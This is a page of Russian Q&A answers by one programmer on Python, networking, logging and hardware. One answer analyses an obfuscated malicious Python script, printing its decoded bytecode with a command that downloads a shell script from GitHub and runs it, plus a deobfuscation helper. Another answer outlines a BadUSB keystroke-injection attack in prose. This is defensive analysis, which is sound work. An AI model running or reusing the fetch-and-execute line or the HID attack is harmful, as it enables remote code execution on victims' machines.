Задать вопрос
  • При запуске Anaconda Navigator возникает OSError Could not find a suitable TLS CA certificate bundle, invalid path. Как пофиксить?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    4-я папка (Anaconda3) существует, но pip.ini в ней нет.

    Так создайте и добавьте в него то, что предлагается в инструкции.
    Ответ написан
    Комментировать
  • Как сделать что бы приложение не детектило Эмулятор GPS?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Есть много признаков по которым можно судить о том, что вы используете фейковые GPS данные.
    Если бы я делал защиту от таких фейковых данных, то я бы делал её не на самом телефоне, а на сервере.
    Я бы анализировал правдоподобность перемещения, обращал бы внимание на "броуновский" дрейф, связанный с неидельной точностью геолокации, учитывал бы форму распределения ошибки.
    Подделка данных геолокации и защита от нее - это гонка брони и пули, тут не может быть финального победителя, и никто вам не скажет критерии, по которым определяется фейковость, иначе эти критерии тут же начнут абьюзить обходя проверку.

    Не понятно какой именно софт для подлога геоданных вы используете. Но даже если было понятно, придётся делать немало исследований критериев по которым можно детектить подлог в каждом конкретном случае.

    Для чего вам это нужно? Нельзя ли решать вашу задачу в рамках добросовестного использования приложения?
    Ответ написан
    1 комментарий
  • Что делает этот код на Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Вот байткод, который в итоге пытается выполнить этот кусок:
    00: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=0, argrepr='0', offset=0, starts_line=1, is_jump_target=False)
    01: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=2, starts_line=None, is_jump_target=False)
    02: inst=Instruction(opname='IMPORT_NAME', opcode=108, arg=0, argval='os', argrepr='os', offset=4, starts_line=None, is_jump_target=False)
    03: inst=Instruction(opname='STORE_NAME', opcode=90, arg=0, argval='os', argrepr='os', offset=6, starts_line=None, is_jump_target=False)
    04: inst=Instruction(opname='SETUP_FINALLY', opcode=122, arg=8, argval=18, argrepr='to 18', offset=8, starts_line=None, is_jump_target=False)
    05: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=10, starts_line=2, is_jump_target=False)
    06: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=12, starts_line=None, is_jump_target=False)
    07: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=2, argval='clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"', argrepr='\'clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"\'', offset=14, starts_line=None, is_jump_target=False)
    08: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=16, starts_line=None, is_jump_target=False)
    09: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=18, starts_line=None, is_jump_target=True)
    10: inst=Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False)
    11: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=22, starts_line=None, is_jump_target=False)
    12: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=24, starts_line=None, is_jump_target=False)
    13: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=26, starts_line=3, is_jump_target=False)
    14: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=28, starts_line=None, is_jump_target=False)
    15: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=30, starts_line=None, is_jump_target=False)
    16: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=32, starts_line=4, is_jump_target=False)
    17: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=34, starts_line=None, is_jump_target=False)
    18: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=3, argval='clear', argrepr="'clear'", offset=36, starts_line=None, is_jump_target=False)
    19: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=38, starts_line=None, is_jump_target=False)
    20: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=40, starts_line=None, is_jump_target=False)
    21: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=2, argval='print', argrepr='print', offset=42, starts_line=5, is_jump_target=False)
    22: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=4, argval='Thanks for using Xlr8 !', argrepr="'Thanks for using Xlr8 !'", offset=44, starts_line=None, is_jump_target=False)
    23: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=46, starts_line=None, is_jump_target=False)
    24: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=48, starts_line=None, is_jump_target=False)
    25: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=3, argval='exit', argrepr='exit', offset=50, starts_line=6, is_jump_target=False)
    26: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=0, argval=0, argrepr='', offset=52, starts_line=None, is_jump_target=False)
    27: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=54, starts_line=None, is_jump_target=False)
    28: inst=Instruction(opname='POP_EXCEPT', opcode=89, arg=None, argval=None, argrepr='', offset=56, starts_line=None, is_jump_target=False)
    29: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=58, starts_line=None, is_jump_target=False)
    30: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=60, starts_line=None, is_jump_target=False)


    Видно, что скрипт пытается скачать и запустить какой-то баш-файл из сети. Сейчас уже этот урл возвращает 404, но вебархив показывает, что в январе 2023 года был сделан бэкап этой страницы.
    ВНИМАНИЕ! НЕ ЗАПУСКАЙТЕ ЭТОТ КОД. ЭТО НАВЕРНЯКА ВРЕДОНОСНАЯ ПРОГРАММА,
    ПУЬЛИКУЮ ЧИСТО ИЗ ИССЛЕДОВАТЕЛЬСКИХ СООБРАЖЕНИЙ! Если у кого есть желание, может продолжить ковырять эту историю. Может быть там оффер на вакансию в какую-нибудь серьёзную контору=).

    Вот, кстати, код, с помощью которого можно выковырять эти операции. Они рекурсивно закодированы 33 раза одним и тем же способом.
    import marshal, zlib, base64, dis
    
    
    def extract_code(b, deep=0):
        print(f'=== extract_code [{deep}]')
        code = marshal.loads(zlib.decompress(base64.b64decode(b[::-1])))
        instructions = list(dis.get_instructions(code))
        if (
            (instructions[0].opname, instructions[0].argval) == ('LOAD_NAME', 'exec')
            and instructions[1].argval == '_' and instructions[2].opname == 'LOAD_CONST'
        ):
            code2 = instructions[2].argval
            extract_code(code2, deep + 1)
        else:
            for i, inst in enumerate(instructions):
                print(f'{i:02d}: {inst=}')
    
    
    extract_code(...)
    Ответ написан
    6 комментариев
  • Один сервер с разными доменами?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Серверу пофиг по какому домену он отвечает. соединение идёт по айпи адресу. Какому адресу соответтсвует тот или иной домен хранится в днс-сервере.
    Можно сколько угодно доменных имен присвоить одному адресу вашего сервера. Дополнительной нагрузки вы от этого никакой не получите.
    Единственное, что для описанной вами задачи важно, это по имени домена чтобы ваш сервер понимал какой контент отдать.
    То есть обращние идет по айпи адресу, но имя домена все же передается в параметрах http-запроса.
    Почитайте как работает HTTP протокол.
    Вот вы можете на любые обращения к вашему серверу отвечать одним и тем же бэкендом, а он по имени домена из запроса будет понимать какой контент отдавать.
    Ответ написан
    2 комментария
  • Как мне правильно настроить TimedRotatingFileHandler?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Проблема тут вот в чем. Ротейтинг логов устроен так, что запись идёт в файл, а потом, когда наступает условие из конфига логгинга (время или размер), файл переименовывается с добавлением даты и времени, а запись идёт в новый чистый файл.
    В линуксе это не вызывает проблемы из-за более совершенной логики работы файловой системы, но вот у вас в винде случается, например, вот что:
    Вы запускаете два (или больше) инстанса джанго, они оба наперебой пишут в файл (если им удаётся), или второй инстанс пытается им завладеть (тут не уверен), а когда наступает время его переименовывать, оказывается, что оригинальный файл захвачен другим процессом.
    Вам стоит писать логи отдельно каждым инстансом в отдельные файлы. Например добавьте в формулу, по которой формируется имя лог-файла номер процесса.
    Либо не выкаблучивайтесь и пишите логи в stdout, не надо засовывать в сервис лишнюю логику. Пусть логи обрабатываются (фильтруются, ротируются) вне процесса.
    Ответ написан
  • Как извлечь аудиодорожку (речь) из большого количества видеофайлов в автоматическом режиме?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    FFmpeg
    Есть отличный биндинг для питона: https://github.com/kkroening/ffmpeg-python
    Можно даже натравить потом на это TTS, который сгенерит субтитры с временнЫми метками, а на них уже натравить какой-нибудь Elasticsearch, чтобы можно было делать текстовый поиск по видосам и быстро находить нужные фрагменты лекций. Если к этому прикрутить ещё и предобученную ламу, то можно будет не изголяться с составлением поискового запроса в таком виде, чтобы он искался по индексу, а задавать вопросы по человечески, лама сама определит тему, найдёт место в лекциях и скинет ссылку на таймкоды где послушать.

    И это будет очередной шаг к протезированию мозга=) Ничего не поделаешь, к этому и идём. Нормальный процесс.
    Ответ написан
    6 комментариев
  • Почему цикл не корректно работает?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Сказано же в задании надо граничить цикл 10 итерациями. А вы не ограничиваете. В этом и проблема.
    8*8=64
    6*6+4*4=52
    5*5+2*2=29
    2*2+9*9=85
    8*8+5*5=...
    И так очень и очень долго.
    Ответ написан
    Комментировать
  • Как отправить кубик с нужным мне значением?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    А в чем проблема-то? Вы вообще можете эмоджи в сообщение отправить? Можете.
    Можете отправить конкретное эмоджи? Можете.
    Можете выбрать один символ из шести? Можете.
    В чем проблема?
    я искал способы как это реализовать и по итогу ничего не нашел

    Что именно искал? Какие запросы дела? Не нашел как отправить текст от имени бота? Или не нашел как отправить эмоджи? Такое ощущение, что вы искали готовое решение и даже тут не пытаетесь задавать конкретные вопросы.
    И что смешно, даже в этом виде ваш вопрос, адресованный, например ЧатуЖПТ4 позволит получить детальный ответ с примерами кода.
    Так в чем же проблема? Может стоило идти к фрилансерам?
    Ответ написан
    Комментировать
  • Система команд управления умным выключателем Tuya?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Тоже это в планах настраивать но с Home Assistant, он опенсорсный.
    Вот гляньте этот репозиторий https://github.com/rospogrigio/localtuya
    Просто вспомнил что он у меня давно в закладках лежит, а посмотреть всё некогда.
    Ответ написан
    Комментировать
  • Как определить символ(ы) конца строки в csv?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Зачем?!
    Это не конец строки, это просто пустые столбцы. Конец строки там по абзацу. Зачем вообще вам нужно указывать конец строки как-то особенно? Вы можете потом просто отбросить нужное число элементов из кортежа и всё.
    Ответ написан
    2 комментария
  • Изменять пропорции аватара на стороне фронта или несколько размеров на стороне бэка?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Добавлю к очень хорошим ответам выше, что имеет смысл для конкретно вашего сайта посчитать статистику использования разных размеров в сочетаниях. Ещё нужно понимать цели, которые вы преследуете.
    Если вам нужно снизить трафик с севрверов - это одно. Если вам нужно ускорить рендер страницы, то это другое. Причем для разных страниц и разделов оптимум может быть разный.
    К примеру, если у вас страница с комментариями пользователей, где огромное количество этих комментариев с разными аватарками мелких размеров, а большая аватарка на такую страницу грузится только одна (своя), и в профили пользователей кто-то редко заходит, то конечно лучше кешировать и отдавать с сервера мелкие иконки сразу. Это повысит скорость рендера страницы с комментами.
    Отдавать аватарки лучше с CDN, так быстрее получится для рендера страницы.
    Ответ написан
    1 комментарий
  • Есть ли нарушение 3NF и BCNF в таблице БД?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Если это задача и вам нужны готовые ответы с решениями, то вы не по адресу.
    Где ваши личные рассуждения? Где ваши предположения и на что вы опирались их делая?
    Я могу тут сделать подсказку: что такое "код запаса товара", для чего он нужен как его интерпретировать в контексте заданных вами вопросов. Ещё с стоит подумать о дате и времени в этой таблице. Следовало бы упомянуть, что это не журнал состояний, а снимок состояния складов.
    Ответ написан
  • Как отправить заголовки и данные esp8266seureclient?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    https://dzen.ru/a/ZBC7dQKVTTCDHm0y
    Ну гуглится же на каждом углу. Что не так например с этой инструкцией?
    Ответ написан
  • Можно ли исползовать презаряжаемое Ni-Mh батарею вместо акумулятора в бытвом устройстве?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Да можно. Там такой же элемент, но меньшей ёмкости.
    Можно даже два поставить параллельно, если влезут. Будет ёмкость больше. Хорошо бы конечно сопротивление элементов проверить и подобрать одинаковые, но для такого применения можно и пренебречь.
    Ответ написан
    Комментировать
  • Можно ли установить NFC-модуль в телефон?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Вполне реально, но набор компетенций, который нужен для этого и количество человекочасов специалиста с такими компетенциями обойдутся в десятки раз дороже нового телефона с NFC-модулем.
    Ответ написан
    Комментировать
  • Как исправить "AttributeError: 'Dispatcher' object has no attribute 'message_handlers'"?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Прочитайте внимательно:
    AttributeError: 'Dispatcher' object has no attribute 'message_handlers'. Did you mean: 'message_handler'?

    И посмотрите в свой код на 8 строке. У вас ошибка эта была до того как вы изменили код. Читайте внимательно.
    И код оформлять надо специальным тегом
    Ответ написан
    Комментировать
  • Какая есть замена sim800?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    DC-DC конвертеры достаточно компактны и эффективны сейчас. Можно куда-то присунуть в щель.
    https://aliexpress.ru/item/32413364849.html?sku_id...
    Ответ написан
    Комментировать
  • Как флешка может передать гео-данные?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    В корпус флеш-накопителя трудно поместить GPS-приёмник, да и ловить сигнал он в помещении не будет.
    Пришлось бы делать полноценный автономный трекер с GSM, GPS и аккумулятором. Это довольно сложно сделать в малом объёме. Но в таком случае трекер мог бы писать трек по пути к тому месту, где, возможно под крышей, он будет подключен к USB.

    Можно попробовать действовать через компьютер, но это ненадёжный вариант по ряду причин: комп может сам не знать своей геолокации, он может быть не присоединен к сети или на его борту может стоять файрвол, который пресечет подозрительный трафик, на компе может быть не только винда, но и линукс или макос.

    Однако если мы рассчитываем на винду, то можно попробовать заразить комп через HID-устройство.
    Для этого в корпус флешки встраивается микроконтроллер, который реализует USB-HID device, привторяющийся клавиатурой. При подключении устройство очень быстро выдаёт поток нажатий клавиш, который запустит командную строку и наберет минимальный скрипт, который пропишется в автозапуск или планировщик, чтобы при возможности скачать из сети основной свой функциональный модуль и запустить его.
    Пользователь увидит как мигнёт быстро и погаснет черное окошко сразу после подключения "флешки". Если такое случилось с вами, мой совет вырубить из розетки комп, вынуть жесткий диск и на другом компьютере проверять его на угрозы, а лучше не пользоваться больше атакованной системой и переустановить её.
    Если комп не знает своей геолокации, то о ней можно попробовать судить по GeoIP, которую вытащить из логов той машины, к которой обратится ваше HID-устройство своим скриптом для скачивания тела вируса.

    Всё выше описанное приведено здесь исключительно в учебных ознакомительных целях в контексте противодействию угроз. Такая деятельность запрещена и противозаконна, она может привести к тяжелым юридическим последствиям и уголовному преследованию.
    Ответ написан
    2 комментария
  • Генетический алгоритм в pygame?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Сделал простенькую игру на pygame.

    Можно ли обучить башню самой стрелять по ботам с помощью генетического алгоритма.

    Башня должна определить по какой дорожке к ней идёт бот. Определить его расстояние и скорость. И как он подошёл к сектору начать в него стрелять.


    Зачем? Если это твоя собственная игра, то ивой код и так "знает" параметры и траекторию перемещения юнитов, зачем тут генетические алгоритмы?

    Генетические алгоритмы нужны когда строгое алгоритмическое решение оказывается слишком сложным вычислительно или логически. Тогда можно сделать простую мультиагентную систему, и каждый агент будет реализовывать свою вариацию стратегии игры.
    Нужно построить "геном" - набор изолированных параметров, которые определяют стратегию агента.
    Нужно сформулировать правила "скрещивания" и "мутации" геномов, чтобы в результате получались новые стратегии для новых агентов.
    Нужно оценивать эффективность каждого агента в баллах или придумать нормирующую функцию которая по набору показателей агента (kill-rate, набранное число очков за жизнь, продолжительность жизни, нанесенному урону) будет выдавать число (скаляр) с помощью которого можно сравнивать агентов. В совокупности с логикой стратегии эта нормирующая функция будет формировать фитнес-функцию. Фитнес-функция принимает параметры стратегии (геном) и возвращает результат - скаляр - качество агента. Формируем поколения или просто периодический отбор самых качественных, потом их скрещиваем в рандомном или каком-то еще порядке, добавляем мутации и формируем новый набор агентов с новым геномом. а значит с новыми параметрами стратегий.
    И так по кругу. В итоге у вас получатся агенты, которые будут эволюционировать.

    В вашей задаче так можно, например, "обучать" нападающих юнитов. Пользователь ставит башни и остреливается, а ваши генетические юниты плодятся, мутируют и лезут на пользователя. Лучшие отбираются и на их основе генерится потомство, которое попадает в следующие волны.

    Осторожно, если раскусить этот принцип. пользователь сможет нарочно не применять какой-то очень сильный приём, которым будет выкашивать целиком популяции, которые не смогут так к нему приспособиться. Так работают антибиотики, если их применять правильно. А если оставлять в живых недобитых юнитов, то они будут формировать резистентность к приёму.

    Никаких особых библиотек для такой реализации не требуется. Всё довольно просто и понятно.
    Ответ написан
  • Почему не делают белые светильники без люминофора на основе RGB?

    trapwalker
    @trapwalker
    Программист, энтузиаст
    Зелёные светодиоды не добавляют, якобы зеленый не нужен для фотосинтеза, хотя есть статьи утверждающие обратное.

    Если бы зелёный нужен был бы для фотосинтеза, его не отражали бы листья в таком количестве.

    Но если бы в фитолампы добавляли зелёные светодиоды, был бы более полный спектр, уже ближе к солнечному свету, и приятен для глаз, что расширяет возможности применения фитоламп в быту.

    Прочитайте сто такое индекс цветопередачи (CRI) и как на самом деле устроено наше зрение.
    RGB-светодиоды дают три очень узких пика на гистограмме освещённости, а люминовор подбирают и смешивают так, чтобы он заполнял спектр как можно ближе к солнечному. То есть там гораздо меньше скачков и нелинейностей.

    Почему бы не сделать RGB лампу, откалибровать ее на 4500K нейтрального белого, и так же дать возможность подстройки, к примеру 3000-6000K.

    Потому что всё несколько сложнее. чем просто температура.
    80762c6160544eda9e44e2aacb210989.png

    А вот статья про это от очень крутого перца, который ведёт проект lamptest.ru. У него, кстати, есть оборудование чтобы замерять качество света от лампочек.
    Ответ написан
    6 комментариев